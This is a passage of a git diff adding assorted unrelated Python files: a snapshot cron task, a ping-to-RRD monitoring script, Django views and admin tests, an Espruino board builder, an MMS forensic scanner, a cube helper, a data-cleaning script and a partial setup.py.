Share.objects.filter(id=meta["share"]).exists(): + raise Exception( + "Non-existent Share id (%s) in meta. %s" % (meta["share"], meta) + ) + else: + # TODO: this else clause should be removed in #1854 + if not Share.objects.filter(name=meta["share"]).exists(): + raise Exception( + "share ({}) in meta {} doesnt exist".format(meta["share"], meta) + ) + if "max_count" not in meta: + raise Exception("max_count missing from meta. %s" % meta) + try: + max_count = int(float(meta["max_count"])) + except: + raise Exception("max_count is not an integer. %s" % meta) + if max_count < 1: + raise Exception("max_count must atleast be 1, not %d" % max_count) + if "visible" not in meta or type(meta["visible"]) != bool: + meta["visible"] = False + if "writable" not in meta or type(meta["writable"]) != bool: + meta["writable"] = False + return meta + + +# Deletes overflowing snapshots beyond max_count sorted by their id(implicitly +# create time). stop on first failure. Can be called safely with < max_count +# snapshots, just returns true in that case. +def delete(aw, share, snap_type, prefix, max_count): + snapshots = Snapshot.objects.filter( + share=share, snap_type=snap_type, name__startswith=prefix + ).order_by("-id") + for snap in snapshots[max_count:]: + try: + url = "shares/{}/snapshots/{}".format(share.id, snap.name) + aw.api_call(url, data=None, calltype="delete", save_error=False) + except Exception as e: + logger.error( + "Failed to delete old snapshots exceeding the " + "maximum count(%d)" % max_count + ) + logger.exception(e) + return False + return True + + +def main(): + tid = int(sys.argv[1]) + cwindow = sys.argv[2] if len(sys.argv) > 2 else "*-*-*-*-*-*" + if crontabwindow.crontab_range(cwindow): + # Performance note: immediately check task execution time/day window + # range to avoid other calls + tdo = TaskDefinition.objects.get(id=tid) + stype = "task_scheduler" + aw = APIWrapper() + if tdo.task_type != "snapshot": + logger.error("task_type(%s) is not snapshot." % tdo.task_type) + return + meta = json.loads(tdo.json_meta) + validate_snap_meta(meta) + + # to keep backwards compatibility, allow for share to be either + # name or id and migrate the metadata. To be removed in #1854 + try: + share = Share.objects.get(id=meta["share"]) + except ValueError: + share = Share.objects.get(name=meta["share"]) + meta["share"] = share.id + tdo.json_meta = json.dumps(meta) + tdo.save() + + max_count = int(float(meta["max_count"])) + prefix = "%s_" % meta["prefix"] + + now = datetime.utcnow().replace(second=0, microsecond=0, tzinfo=utc) + t = Task(task_def=tdo, state="started", start=now) + + snap_created = False + t.state = "error" + try: + name = "%s_%s" % ( + meta["prefix"], + datetime.now().strftime(settings.SNAP_TS_FORMAT), + ) + url = "shares/{}/snapshots/{}".format(share.id, name) + # only create a new snap if there's no overflow situation. This + # prevents runaway snapshot creation beyond max_count+1. + if delete(aw, share, stype, prefix, max_count): + data = { + "snap_type": stype, + "uvisible": meta["visible"], + "writable": meta["writable"], + } + headers = {"content-type": "application/json"} + aw.api_call( + url, data=data, calltype="post", headers=headers, save_error=False + ) + logger.debug("created snapshot at %s" % url) + t.state = "finished" + snap_created = True + except Exception as e: + logger.error("Failed to create snapshot at %s" % url) + logger.exception(e) + finally: + t.end = datetime.utcnow().replace(tzinfo=utc) + t.save() + + # best effort pruning without erroring out. If deletion fails, we'll + # have max_count+1 number of snapshots and it would be dealt with on + # the next round. + if snap_created: + delete(aw, share, stype, prefix, max_count) + else: + logger.debug( + "Cron scheduled task not executed because outside time/day window ranges" + ) + + +if __name__ == "__main__": + # takes two arguments. taskdef object id and crontabwindow. + main() diff --git a/pool/shard009/Python/0082127_rrd_service.py b/pool/shard009/Python/0082127_rrd_service.py new file mode 100644 index 0000000000000000000000000000000000000000..3e9fe9100e95fcdd84170f1ea9f466ac468e3a0d --- /dev/null +++ b/pool/shard009/Python/0082127_rrd_service.py @@ -0,0 +1,151 @@ +#!/usr/bin/env python +# coding: utf-8 + +import os,sys,datetime,argparse,threading,time,Queue +from commands import getstatusoutput + +parser = argparse.ArgumentParser(description = 'Ping hosts from mdb') + +parser.add_argument('-t', '--type', default='all',\ + help="Which type of host to operate on") +parser.add_argument('-d', '--debug', action='store_true',\ + help="Turn on debugging") +parser.add_argument('--show-types', dest='show_types', action='store_true',\ + help='Show available host types') +parser.add_argument('--num-threads', dest='num_threads', type=int, default=1,\ + help='Number of threads used for pinging hosts') +parser.add_argument('--num-pings', dest='num_pings', type=int, default=5,\ + help='Number of ping requests to each host. More requests gives a more accurate average calculation.') +parser.add_argument('--rrd-path', dest='rrd_path', required=True,\ + help='Specify the path to the rrd files') + +args = parser.parse_args() + +from django.core.management import setup_environ +from django.core.mail import mail_admins +from dns_mdb import settings +setup_environ(settings) +from mdb.models import * + +PING_CMD='ping -W 1 -c %d -n -q %s | grep rtt | cut -d " " -f4' + +queue = Queue.Queue() + + +RRD_CREATE = "%s " \ + "DS:ttl:GAUGE:600:U:U "\ + "RRA:AVERAGE:0.5:1:576 "\ + "RRA:AVERAGE:0.5:6:336 "\ + "RRA:AVERAGE:0.5:72:124 "\ + "RRA:AVERAGE:0.5:288:365" + +RRD_UPDATE = "%s --template rtt N:%s" + +RRD_DIR = args.rrd_path +RRDTOOL = "/usr/bin/rrdtool" + +class RrdService(): + def log(self, host, interface, avg_ping): + rrd = self.get_rrd(host, interface) + self.update_rrd(rrd, avg_ping) + + def get_rrd(self, host, interface): + return "%s/%s_%s.rrd" % ( RRD_DIR, host.id,\ + interface.id) + + def update_rrd(self, rrd, avg_ping): + self.create_rrd(rrd) + + self.rrd_exec("update", RRD_UPDATE % (rrd, avg_ping)) + + def create_rrd(self, rrd): + if os.path.isfile(rrd): + return True + if args.debug: + print "Creating rrd: " + rrd + if not self.rrd_exec("create", RRD_CREATE % rrd): + if args.debug: + print "Could not create RRD database." + return False + return True + def rrd_exec(self, function, rrd_cmd): + cmd = "%s %s %s" % (RRDTOOL, function, rrd_cmd) + if args.debug: + print "RRD_EXEC (%s)" % cmd + if os.system(cmd) != 0: + return False + else: + return True + +class PingThread(threading.Thread): + """ Threaded ping """ + def __init__(self, host_queue, rrd_service): + threading.Thread.__init__(self) + self.queue = queue + self.rrd_service = rrd_service + + def run(self): + while True: + host = self.queue.get() + self.do_ping_host(host) + self.queue.task_done() + + def do_ping_host(self, host): + interfaces = host.interface_set.all() + for interface in interfaces: + self.do_ping_interface(interface, host) + + def do_ping_interface(self, interface, host): + res = self.do_ping_ipaddr(interface.ip4address.address) + if res == None: + if args.debug: + print "%s (%s/%s) : fail " % (host, \ + interface.name, interface.ip4address.address) + return + if args.debug: + print "%s (%s/%s) : %s" % (host, interface.name, \ + interface.ip4address.address, res) + self.rrd_service.log(host,interface, res[1]) + + def do_ping_ipaddr(self, ipaddr): + status, output = getstatusoutput(PING_CMD % (args.num_pings,ipaddr)) + if status == 0 and len(output) > 0: + return output.split("/") + else: + return None + + +def show_host_types(): + types = HostType.objects.all() + for t in types: + print "%s (%s)" % (t.host_type, t.description) + +if args.show_types: + show_host_types() + sys.exit(0) + +if args.type == "all": + hosts = Host.objects.all() +else: + hosts = Host.objects.filter(host_type__host_type = args.type) + +rrd_service = RrdService() + +# start num_threads threads for pinging +for i in xrange(args.num_threads): + t = PingThread(queue, rrd_service) + t.setDaemon(True) + t.start() + +if args.debug: + print "Pinging %d hosts using %d threads." % (len(hosts), args.num_threads) + +# Add all hosts to the queue. Ping threads +# will pick hosts from this queue. +for host in hosts: + queue.put(host) + +# Wait for all threads to finish, eg. queue is empty. +queue.join() + +sys.exit(0) diff --git a/pool/shard009/Python/0082129_datatableview.py b/pool/shard009/Python/0082129_datatableview.py new file mode 100644 index 0000000000000000000000000000000000000000..8a2217d50a6969d4091c6feaa51e5c57474a46df --- /dev/null +++ b/pool/shard009/Python/0082129_datatableview.py @@ -0,0 +1,89 @@ +########################################################################### +# (C) Vrije Universiteit, Amsterdam (the Netherlands) # +# # +# This file is part of AmCAT - The Amsterdam Content Analysis Toolkit # +# # +# AmCAT is free software: you can redistribute it and/or modify it under # +# the terms of the GNU Affero General Public License as published by the # +# Free Software Foundation, either version 3 of the License, or (at your # +# option) any later version. # +# # +# AmCAT is distributed in the hope that it will be useful, but WITHOUT # +# ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or # +# FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public # +# License for more details. # +# # +# You should have received a copy of the GNU Affero General Public # +# License along with AmCAT. If not, see . # +########################################################################### + +from django.views.generic.base import ContextMixin, TemplateResponseMixin, TemplateView +from django.views.generic.edit import CreateView +from django.core.urlresolvers import reverse +from django.forms.models import modelform_factory + + +from api.rest import resources +from api.rest.datatable import Datatable + + +class DatatableMixin(ContextMixin): + def get_context_data(self, **kwargs): + context = super(DatatableMixin, self).get_context_data(**kwargs) + context["model"] = getattr(self, "model", None) + context["model_name"] = self.model.__name__ if hasattr(self, "model") else None + context["table"] = self.get_datatable() + return context + + + def get_datatable(self, **kwargs): + """Create the Datatable object""" + table = Datatable(self.get_resource(), rowlink=self.get_rowlink(), **kwargs) + table = self.filter_table(table) + return table + + def get_resource(self): + """Return the rest API resource (View) for the data table""" + try: + return self.resource + except AttributeError: + model = self.model + return resources.get_resource_for_model(model) + + def filter_table(self, table): + """Perform any needed postprocessing on the table and return it""" + return table + + def get_rowlink(self): + try: + return self.rowlink + except AttributeError: + try: + urlname = self.rowlink_urlname + except AttributeError: + return None + else: + return reverse(urlname, args=[999]).replace("999", "{id}") + + return getattr(self, "rowlink", None) + +class DatatableView(TemplateView, DatatableMixin): + template_name = "datatable.html" + +class DatatableCreateView(CreateView, DatatableMixin): + template_name = "datatable.html" + + def get_form_class(self): + form_class = getattr(self, "form_class", None) + if form_class is None: + form_class = modelform_factory(self.model) + return form_class + + def get_success_url(self): + try: + urlname = self.rowlink_urlname + except AttributeError: + return super(DatatableCreateView, self).get_success_url() + else: + return reverse(urlname, args=[self.object.pk]) + diff --git a/pool/shard009/Python/0082130_build_board_json.py b/pool/shard009/Python/0082130_build_board_json.py new file mode 100644 index 0000000000000000000000000000000000000000..3594434da927481c58add6691080d06df1edfb83 --- /dev/null +++ b/pool/shard009/Python/0082130_build_board_json.py @@ -0,0 +1,107 @@ +#!/usr/bin/python + +# This file is part of Espruino, a JavaScript interpreter for Microcontrollers +# +# Copyright (C) 2013 Gordon Williams +# +# This Source Code Form is subject to the terms of the Mozilla Public +# License, v. 2.0. If a copy of the MPL was not distributed with this +# file, You can obtain one at http://mozilla.org/MPL/2.0/. +# +# ---------------------------------------------------------------------------------------- +# Builds JS file with info for the board +# ---------------------------------------------------------------------------------------- + +import subprocess; +import re; +import json; +import sys; +import os; +import importlib; +import string; + + +scriptdir = os.path.dirname(os.path.realpath(__file__)) +basedir = scriptdir+"/../" +sys.path.append(basedir+"scripts"); +sys.path.append(basedir+"boards"); + +import common; +import pinutils; + +# ----------------------------------------------------------------------------------------- + +# Now scan AF file +print("Script location "+scriptdir) +if len(sys.argv)!=2: + print("ERROR, USAGE: build_board_json.py BOARD_NAME") + exit(1) +boardname = sys.argv[1] +jsonFilename = "boards/"+boardname+".json" +print("JSON_FILENAME "+jsonFilename) +print("BOARD "+boardname) +# import the board def +board = importlib.import_module(boardname) +# Call the included board_specific file - it sets up 'pins' and 'fill_gaps' +pins = board.get_pins() +pins = pinutils.append_devices_to_pin_list(pins, board) +# ----------------------------------------------------------------------------------------- +# Documentation/functions +jsondatas = common.get_jsondata(False, False) +# ----------------------------------------------------------------------------------------- +board.info["image_url"] = "http://www.espruino.com/img/"+boardname+".jpg" +board.info["thumb_url"] = "http://www.espruino.com/img/"+boardname+"_thumb.jpg" +board.info["binary_version"] = common.get_version(); +board.info["binary_url"] = "http://www.espruino.com/binaries/"+common.get_board_binary_name(board) +# ----------------------------------------------------------------------------------------- +# Built-in modules + +builtinModules = [] +for jsondata in jsondatas: + if jsondata["type"]=="library": + builtinModules.append(jsondata["class"]) + +board.info["builtin_modules"] = builtinModules +# ----------------------------------------------------------------------------------------- +pinperipherals = {} + +for pin in pins: + if pin["name"][0] == 'P': + pin["name"] = pin["name"][1:]; + pin["simplefunctions"] = {}; + pinfuncs = pin["simplefunctions"] + for func in sorted(pin["functions"]): + if func in pinutils.CLASSES: + name = pinutils.CLASSES[func] + + # list for individual pin + if name in pinfuncs: + pinfuncs[name].append(func) + else: + pinfuncs[name] = [ func ]; + + # now handle more detailed + if name=="SPI" or name=="I2C" or name=="USART": + fs = pinutils.ALLOWED_FUNCTIONS[func].split("|") + periph = fs[0][4:] + periphpin = fs[1][fs[1].rfind("_")+1:] + if not periph in pinperipherals: pinperipherals[periph]={} + if not periphpin in pinperipherals[periph]: pinperipherals[periph][periphpin]=[] + pinperipherals[periph][periphpin].append(pin["name"]) + else: + if not name in pinperipherals: pinperipherals[name]={} + if not "" in pinperipherals[name]: pinperipherals[name][""]=[] + pinperipherals[name][""].append(pin["name"]); + +boarddata = { + "info" : board.info, + "chip" : board.chip, + "layout" : board.board, + "devices" : board.devices, + "pins" : pins, + "peripherals" : pinperipherals, +}; + +jsonFile = open(jsonFilename, 'w') +jsonFile.write(json.dumps(boarddata, indent=1)); +jsonFile.close(); diff --git a/pool/shard009/Python/0082133_test_password_validation.py b/pool/shard009/Python/0082133_test_password_validation.py new file mode 100644 index 0000000000000000000000000000000000000000..e3dad143e289069e5f4210c9380b3b472ef83aad --- /dev/null +++ b/pool/shard009/Python/0082133_test_password_validation.py @@ -0,0 +1,43 @@ +# -*- coding: utf-8 -*- +# +# Copyright © 2012 - 2019 Michal Čihař +# +# This file is part of Weblate +# +# This program is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program. If not, see . +# +"""Captcha tests""" + +from unittest import TestCase + +from django.core.exceptions import ValidationError + +from weblate.accounts.password_validation import CharsPasswordValidator + + +class ValidationTest(TestCase): + def validate(self, password): + validator = CharsPasswordValidator() + return validator.validate(password) + + def test_chars_good(self): + self.assertIsNone(self.validate('123')) + + def test_chars_whitespace(self): + with self.assertRaises(ValidationError): + self.validate(' \r\n\t') + + def test_chars_same(self): + with self.assertRaises(ValidationError): + self.validate('x' * 10) diff --git a/pool/shard009/Python/0082140_test_rankadmin_views.py b/pool/shard009/Python/0082140_test_rankadmin_views.py new file mode 100644 index 0000000000000000000000000000000000000000..ad47e11cbcf6893a3d4595551e948a07c54a4736 --- /dev/null +++ b/pool/shard009/Python/0082140_test_rankadmin_views.py @@ -0,0 +1,217 @@ +from django.core.urlresolvers import reverse + +from misago.admin.testutils import AdminTestCase +from misago.acl.models import Role +from misago.users.models import Rank + + +class RankAdminViewsTests(AdminTestCase): + def test_link_registered(self): + """admin nav contains ranks link""" + response = self.client.get( + reverse('misago:admin:users:accounts:index')) + + response = self.client.get(response['location']) + self.assertIn(reverse('misago:admin:users:ranks:index'), + response.content) + + def test_list_view(self): + """ranks list view returns 200""" + response = self.client.get(reverse('misago:admin:users:ranks:index')) + + self.assertEqual(response.status_code, 200) + self.assertIn('Team', response.content) + + def test_new_view(self): + """new rank view has no showstoppers""" + test_role_a = Role.objects.create(name='Test Role A') + test_role_b = Role.objects.create(name='Test Role B') + test_role_c = Role.objects.create(name='Test Role C') + + response = self.client.get( + reverse('misago:admin:users:ranks:new')) + self.assertEqual(response.status_code, 200) + + response = self.client.post( + reverse('misago:admin:users:ranks:new'), + data={ + 'name': 'Test Rank', + 'description': 'Lorem ipsum dolor met', + 'title': 'Test Title', + 'style': 'test', + 'is_tab': '1', + 'roles': [test_role_a.pk, test_role_c.pk], + }) + self.assertEqual(response.status_code, 302) + + response = self.client.get(reverse('misago:admin:users:ranks:index')) + self.assertEqual(response.status_code, 200) + self.assertIn('Test Rank', response.content) + self.assertIn('Test Title', response.content) + + test_rank = Rank.objects.get(slug='test-rank') + self.assertIn(test_role_a, test_rank.roles.all()) + self.assertIn(test_role_c, test_rank.roles.all()) + self.assertTrue(test_role_b not in test_rank.roles.all()) + + def test_edit_view(self): + """edit rank view has no showstoppers""" + test_role_a = Role.objects.create(name='Test Role A') + test_role_b = Role.objects.create(name='Test Role B') + test_role_c = Role.objects.create(name='Test Role C') + + self.client.post( + reverse('misago:admin:users:ranks:new'), + data={ + 'name': 'Test Rank', + 'description': 'Lorem ipsum dolor met', + 'title': 'Test Title', + 'style': 'test', + 'is_tab': '1', + 'roles': [test_role_a.pk, test_role_c.pk], + }) + + test_rank = Rank.objects.get(slug='test-rank') + + response = self.client.get( + reverse('misago:admin:users:ranks:edit', + kwargs={'rank_id': test_rank.pk})) + self.assertEqual(response.status_code, 200) + self.assertIn(test_rank.name, response.content) + self.assertIn(test_rank.title, response.content) + + response = self.client.post( + reverse('misago:admin:users:ranks:edit', + kwargs={'rank_id': test_rank.pk}), + data={ + 'name': 'Top Lel', + 'roles': [test_role_b.pk], + }) + self.assertEqual(response.status_code, 302) + + test_rank = Rank.objects.get(slug='top-lel') + response = self.client.get(reverse('misago:admin:users:ranks:index')) + self.assertEqual(response.status_code, 200) + self.assertIn(test_rank.name, response.content) + self.assertTrue('Test Rank' not in test_rank.roles.all()) + self.assertTrue('Test Title' not in test_rank.roles.all()) + + self.assertIn(test_role_b, test_rank.roles.all()) + self.assertTrue(test_role_a not in test_rank.roles.all()) + self.assertTrue(test_role_c not in test_rank.roles.all()) + + def test_default_view(self): + """default rank view has no showstoppers""" + self.client.post( + reverse('misago:admin:users:ranks:new'), + data={ + 'name': 'Test Rank', + 'description': 'Lorem ipsum dolor met', + 'title': 'Test Title', + 'style': 'test', + 'is_tab': '1', + }) + + test_rank = Rank.objects.get(slug='test-rank') + + response = self.client.post( + reverse('misago:admin:users:ranks:default', + kwargs={'rank_id': test_rank.pk})) + self.assertEqual(response.status_code, 302) + + test_rank = Rank.objects.get(slug='test-rank') + self.assertTrue(test_rank.is_default) + + def test_move_up_view(self): + """move rank up view has no showstoppers""" + self.client.post( + reverse('misago:admin:users:ranks:new'), + data={ + 'name': 'Test Rank', + 'description': 'Lorem ipsum dolor met', + 'title': 'Test Title', + 'style': 'test', + 'is_tab': '1', + }) + + test_rank = Rank.objects.get(slug='test-rank') + + response = self.client.post( + reverse('misago:admin:users:ranks:up', + kwargs={'rank_id': test_rank.pk})) + self.assertEqual(response.status_code, 302) + + changed_rank = Rank.objects.get(slug='test-rank') + self.assertEqual(changed_rank.order + 1, test_rank.order) + + def test_move_down_view(self): + """move rank down view has no showstoppers""" + self.client.post( + reverse('misago:admin:users:ranks:new'), + data={ + 'name': 'Test Rank', + 'description': 'Lorem ipsum dolor met', + 'title': 'Test Title', + 'style': 'test', + 'is_tab': '1', + }) + + test_rank = Rank.objects.get(slug='test-rank') + + # Move rank up + response = self.client.post( + reverse('misago:admin:users:ranks:up', + kwargs={'rank_id': test_rank.pk})) + + response = self.client.post( + reverse('misago:admin:users:ranks:down', + kwargs={'rank_id': test_rank.pk})) + self.assertEqual(response.status_code, 302) + + # Test move down + changed_rank = Rank.objects.get(slug='test-rank') + self.assertEqual(changed_rank.order, test_rank.order) + + def test_users_view(self): + """users with this rank view has no showstoppers""" + self.client.post( + reverse('misago:admin:users:ranks:new'), + data={ + 'name': 'Test Rank', + 'description': 'Lorem ipsum dolor met', + 'title': 'Test Title', + 'style': 'test', + 'is_tab': '1', + }) + + test_rank = Rank.objects.get(slug='test-rank') + + response = self.client.get(reverse('misago:admin:users:ranks:users', + kwargs={'rank_id': test_rank.pk})) + self.assertEqual(response.status_code, 302) + + def test_delete_view(self): + """delete rank view has no showstoppers""" + self.client.post( + reverse('misago:admin:users:ranks:new'), + data={ + 'name': 'Test Rank', + 'description': 'Lorem ipsum dolor met', + 'title': 'Test Title', + 'style': 'test', + 'is_tab': '1', + }) + + test_rank = Rank.objects.get(slug='test-rank') + + response = self.client.post( + reverse('misago:admin:users:ranks:delete', + kwargs={'rank_id': test_rank.pk})) + self.assertEqual(response.status_code, 302) + + self.client.get(reverse('misago:admin:users:ranks:index')) + response = self.client.get(reverse('misago:admin:users:ranks:index')) + self.assertEqual(response.status_code, 200) + + self.assertTrue(test_rank.name not in response.content) + self.assertTrue(test_rank.title not in response.content) diff --git a/pool/shard009/Python/0082141_MMS.py b/pool/shard009/Python/0082141_MMS.py new file mode 100644 index 0000000000000000000000000000000000000000..edf3b4c0d905b0a5e3c4a6881d79a8d602e64a25 --- /dev/null +++ b/pool/shard009/Python/0082141_MMS.py @@ -0,0 +1,153 @@ +#!/usr/bin/env python + +""" +This is a PyFlag Scanner to decode and extract mms files. We decode +those into the Webmail Messages table because concepually its kind of +like a webmail (That table is a bit overloaded). + +Simple script showing how to use the python-mms library to decode a binary +MMS message file and display textual information about it. + +This script does not actually dump the contents of binary data parts (such as +images and audio clips), but shows how it can be done. + +@author: Francois Aucamp +@license: GNU LGPL +""" + +import sys +# import the python-mms library +import mms +import pyflag.Scanner as Scanner +import pyflag.pyflaglog as pyflaglog +import pyflag.DB as DB +import pyflag.FlagFramework as FlagFramework +import LiveCom +import pyflag.CacheManager as CacheManager + +class MMSScanner(LiveCom.HotmailScanner): + """ Scans MMS messages """ + default = True + depends = ['TypeScan'] + group = 'NetworkScanners' + + class Scan(LiveCom.HotmailScanner.Scan): + types = ( + 'application/.+wap.+mms', + ) + + service = 'MMS' + + def boring(self, data =''): + return Scanner.StoreAndScanType.boring(self, data) \ + or not "H" in self.fd.inode + + def process(self, data): + Scanner.StoreAndScanType.process(self, data) + + def external_process(self, fd): + pyflaglog.log(pyflaglog.DEBUG, "Opening %s for MMS Processing" % self.fd.inode) + + try: + message = mms.MMSMessage.fromFile(fd.name) + except: + pyflaglog.log(pyflaglog.DEBUG, "Error parsing %s" % self.fd.inode) + return + + result = {'type': 'Sent', 'message': ''} + + for k,v in [ ('From', 'From'), + ('To', 'To'), + ('Data', 'sent'), + ('Subject', 'subject') + ]: + try: + result[v] = message.headers[k] + except KeyError: + pass + + ## Create a new webmail message: + inode_id = self.insert_message(result) + dbh = DB.DBO(self.fd.case) + + count = 0 + for part in message.dataParts: + count +=1 + if part.contentType.startswith('text/'): + result['message'] += part.data + dbh.update('webmail_messages', where='inode_id="%s"' % inode_id, + message = result['message']) + + elif not part.contentType.endswith('smil'): + new_inode = self.fd.inode + "|m%s" % count + filename = CacheManager.MANAGER.get_temp_path(self.fd.case, new_inode) + fd = open(filename,"wb") + fd.write(part.data) + fd.close() + + ## Add Attachment + path, inode, inode_id = self.ddfs.lookup(inode_id = inode_id) + attachment_id = self.ddfs.VFSCreate(None, + new_inode, + "%s/Message %s" % (path,count), + size = len(part.data)) + + parameters = {} + for hdr in part.headers: + value = part.headers[hdr] + if type(value) == tuple: + if len(value[1]) > 0: + parameters = value[1] + + filename = parameters.get("Filename", parameters.get("Name","output.bin")) + dbh.insert("webmail_attachments", + inode_id = inode_id, + attachment = attachment_id, + url = filename) + +if __name__ == '__main__': + if len(sys.argv) != 2: + print 'Usage: %s MMS_FILE' % sys.argv[0] + sys.exit(1) + + # Decode the specified file + message = mms.MMSMessage.fromFile(sys.argv[1]) + + # Dump header information + print 'MMS header information:\n------------------------' + for hdr in message.headers: + value = message.headers[hdr] + if type(value) == tuple: + print '%s: %s' % (hdr, str(value[0])) + if len(value[1]) > 0: + parameters = value[1] + print ' parameters:' + for param in parameters: + print ' %s: %s' % (param, parameters[param]) + else: + print '%s: %s' % (hdr, str(message.headers[hdr])) + + # Dump message body information + print '\nMMS body information:\n----------------------' + print 'Number of pages in message: %d' % len(message.pages) + print 'Number of data parts in message: %d' % len(message.dataParts) + + counter = 0 + for part in message.dataParts: + counter += 1 + print '\n Data part #%d\n ------------' % counter + for hdr in part.headers: + value = part.headers[hdr] + if type(value) == tuple: + print ' %s: %s' % (hdr, str(value[0])) + if len(value[1]) > 0: + parameters = value[1] + for param in parameters: + print ' %s: %s' % (param, parameters[param]) + else: + print ' %s: %s' % (hdr, str(part.headers[hdr])) + print ' Data length: %d bytes' % len(part) + # In this exxample, we only print the data of text-based data parts + if part.contentType.startswith('text/'): + print ' Contents:' + print ' "%s"' % part.data diff --git a/pool/shard009/Python/0082144_site.py b/pool/shard009/Python/0082144_site.py new file mode 100644 index 0000000000000000000000000000000000000000..94e118d7bf5ae350971835b97c718273b0d340a3 --- /dev/null +++ b/pool/shard009/Python/0082144_site.py @@ -0,0 +1,21 @@ + +from django.conf import settings +from django.contrib import admin +from django.contrib.admin.sites import AdminSite + + +class LeonardoAdminSite(AdminSite): + + site_header = getattr(settings, "SITE_HEADER", "Leonardo administration") + + site_title = getattr(settings, "SITE_TITLE", "Leonardo site admin") + + def get_urls(self): + + # connect all admin members + + self._registry.update(admin.site._registry) + + return super(LeonardoAdminSite, self).get_urls() + +leonardo_admin = LeonardoAdminSite(name="admin") diff --git a/pool/shard009/Python/0082151_equalise_cubes.py b/pool/shard009/Python/0082151_equalise_cubes.py new file mode 100644 index 0000000000000000000000000000000000000000..8a85cded971a22836ef731b56ef7038f7936833b --- /dev/null +++ b/pool/shard009/Python/0082151_equalise_cubes.py @@ -0,0 +1,55 @@ +# (C) British Crown Copyright 2013 - 2016, Met Office +# +# This file is part of Iris. +# +# Iris is free software: you can redistribute it and/or modify it under +# the terms of the GNU Lesser General Public License as published by the +# Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# Iris is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU Lesser General Public License for more details. +# +# You should have received a copy of the GNU Lesser General Public License +# along with Iris. If not, see . +""" +Experimental cube-adjusting functions to assist merge operations. + +""" + +from __future__ import (absolute_import, division, print_function) +from six.moves import (filter, input, map, range, zip) # noqa + +import numpy as np + + +def equalise_attributes(cubes): + """ + Delete cube attributes that are not identical over all cubes in a group. + + This function simply deletes any attributes which are not the same for + all the given cubes. The cubes will then have identical attributes. The + given cubes are modified in-place. + + Args: + + * cubes (iterable of :class:`iris.cube.Cube`): + A collection of cubes to compare and adjust. + + """ + # Work out which attributes are identical across all the cubes. + common_keys = list(cubes[0].attributes.keys()) + for cube in cubes[1:]: + cube_keys = list(cube.attributes.keys()) + common_keys = [ + key for key in common_keys + if (key in cube_keys and + np.all(cube.attributes[key] == cubes[0].attributes[key]))] + + # Remove all the other attributes. + for cube in cubes: + for key in list(cube.attributes.keys()): + if key not in common_keys: + del cube.attributes[key] diff --git a/pool/shard009/Python/0082169_cleaning.py b/pool/shard009/Python/0082169_cleaning.py new file mode 100644 index 0000000000000000000000000000000000000000..70ea1dc5ddce369f9f2b6e2d1a9309260275391d --- /dev/null +++ b/pool/shard009/Python/0082169_cleaning.py @@ -0,0 +1,52 @@ +#!/usr/bin/env python3 +# -*- coding: utf-8 -*- +""" +Created on Tue Jun 20 18:33:57 2017 + +@author: sgmap +""" +import os +import numpy as np +import pandas as pd + +from annuaire.load import load_csv + +def clean_sigle(table_ini): + table = table_ini.copy() + label = 'http://www.w3.org/2000/01/rdf-schema#label' + # sigle2 : les termes entre parenthèses de label qui commence par 2 majuscules + sigle2 = table[label].str.extract("\(([A-Z][A-Z].*?)\)") + table['sigle2'] = sigle2 + table['nom_sans_sigle'] = table[label].str.split('\(').str[0] + + # une colonne unique + for idx, row in table[['df/sigle','sigle2']].iterrows(): + if row['sigle2'] not in [np.nan, 'nc.']: + if row['df/sigle'] != 'nc.': + if row['sigle2'] != row['df/sigle']: + print(row) + + cond = (table['df/sigle'] != 'nc.') & (table['sigle2'].isnull()) + table.loc[cond, 'sigle2'] = table.loc[cond, 'df/sigle'] + + return table + +if __name__ == '__main__': + + tab1 = load_csv('20170610.csv') + sigle1 = tab1['df/sigle'] + label = 'http://www.w3.org/2000/01/rdf-schema#label' + # sigle2 : les termes entre parenthèses de label qui commence par 2 majuscules + sigle2 = tab1[label].str.extract("\(([A-Z][A-Z].*?)\)") + + # Remarque: pour être plus propre, on pourrait regarder les deux valeurs issues de +# sigle2 = tab1[label].str.extractall("\(([A-Z][A-Z].*?)\)") +# sigle2 = sigle2.reset_index() +# sigle2['match'].value_counts() +# sigle2[sigle2['match'] == 1] + tab1.loc[[519,3567], label] + + sigle2.fillna("nc.") == sigle1 + + test = clean_sigle(tab1) + \ No newline at end of file diff --git a/pool/shard009/Python/0082170_setup.py b/pool/shard009/Python/0082170_setup.py new file mode 100644 index 0000000000000000000000000000000000000000..e9499ceb61ff397bc375b8746b3d2e707e3e0c75 --- /dev/null +++ b/pool/shard009/Python/0082170_setup.py @@ -0,0 +1,146 @@ +#!/usr/bin/env python +# encoding: utf-8 + +from __future__ import print_function + +import os +import sys +import codecs + + +try: + from setuptools.core import setup, find_packages +except ImportError: + from setuptools import setup, find_packages + +from setuptools.command.test import test as TestCommand + + +if sys.version_info < (2, 7): + raise SystemExit("Python 2.7 or later is required.") +elif sys.version_info > (3, 0) and sys.version_info < (3, 2): + raise SystemExit("Python 3.2 or later is required.") + +exec(open(os.path.join("web", "command", "release.py")).read()) + + +class PyTest(TestCommand): + def finalize_options(self): + TestCommand.finalize_options(self) + + self.test_args = [] + self.test_suite = True + + def run_tests(self): + import pytest + sys.exit(pytest.main(self.test_args)) + + +here = os.path.abspath(os.path.dirname(__file__)) + +tests_require = [ + 'pytest', # test collector and extensible runner + 'pytest-cov', # coverage reporting + 'pytest-flakes', # syntax validation + 'pytest-spec', # output formatting + ] + + +setup( + name = "web.command", + version = version, + + description = description, + long_description = codecs.open(os.path.join(here, 'README.rst'), 'r', 'utf8').read(), + url = url, + download_url = 'https://github.com/marrow/web.command/releases', + + author = author.name, + author_email = author.email, + + license = 'MIT', + keywords = [ + 'WebCore', # This package is meant to interoperate with the WebCore framework. + 'cli', + 'command', + ], + classifiers = [ + "Development Status :: 5 - Production/Stable", + "Environment :: Console", + "Intended Audience :: Developers", + "License :: OSI Approved :: MIT License", + "Operating System :: OS Independent", + 